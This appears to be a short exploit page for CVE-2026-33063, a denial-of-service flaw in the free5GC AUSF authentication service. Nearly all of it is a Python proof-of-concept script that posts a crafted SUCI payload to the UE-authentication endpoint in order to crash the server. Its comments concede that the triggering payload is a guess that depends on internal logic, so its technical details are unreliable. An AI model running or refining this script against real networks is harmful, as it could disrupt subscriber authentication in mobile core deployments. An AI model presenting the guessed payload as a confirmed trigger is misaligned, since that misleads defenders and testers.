CVE-2026-33063 free5GC AUSF空指针致拒绝服务漏洞

import requests # Conceptual PoC for CVE-2026-33063 # Target: free5GC AUSF < 1.4.2 # Endpoint: /nausf-auth/v1/ue-authentications # Description: Sending a crafted request that triggers nil interface conversion. target_url = "http://target-ip:8000/nausf-auth/v1/ue-authentications" # The specific JSON structure to trigger the nil map depends on internal logic. # Typically involves sending a malformed SUCI (Subscription Concealed Identifier) # or specific payload that causes the map lookup to fail and return nil. payload = { "suci": "suci-0-001-01-0000-0-0-00", "additional_data": {} } try: response = requests.post(target_url, json=payload) # If the exploit is successful, the server will panic and the connection may reset or return a 500 error print(f"Status Code: {response.status_code}") print("Response: {}".format(response.text)) except Exception as e: print(f"Request failed or server crashed: {e}")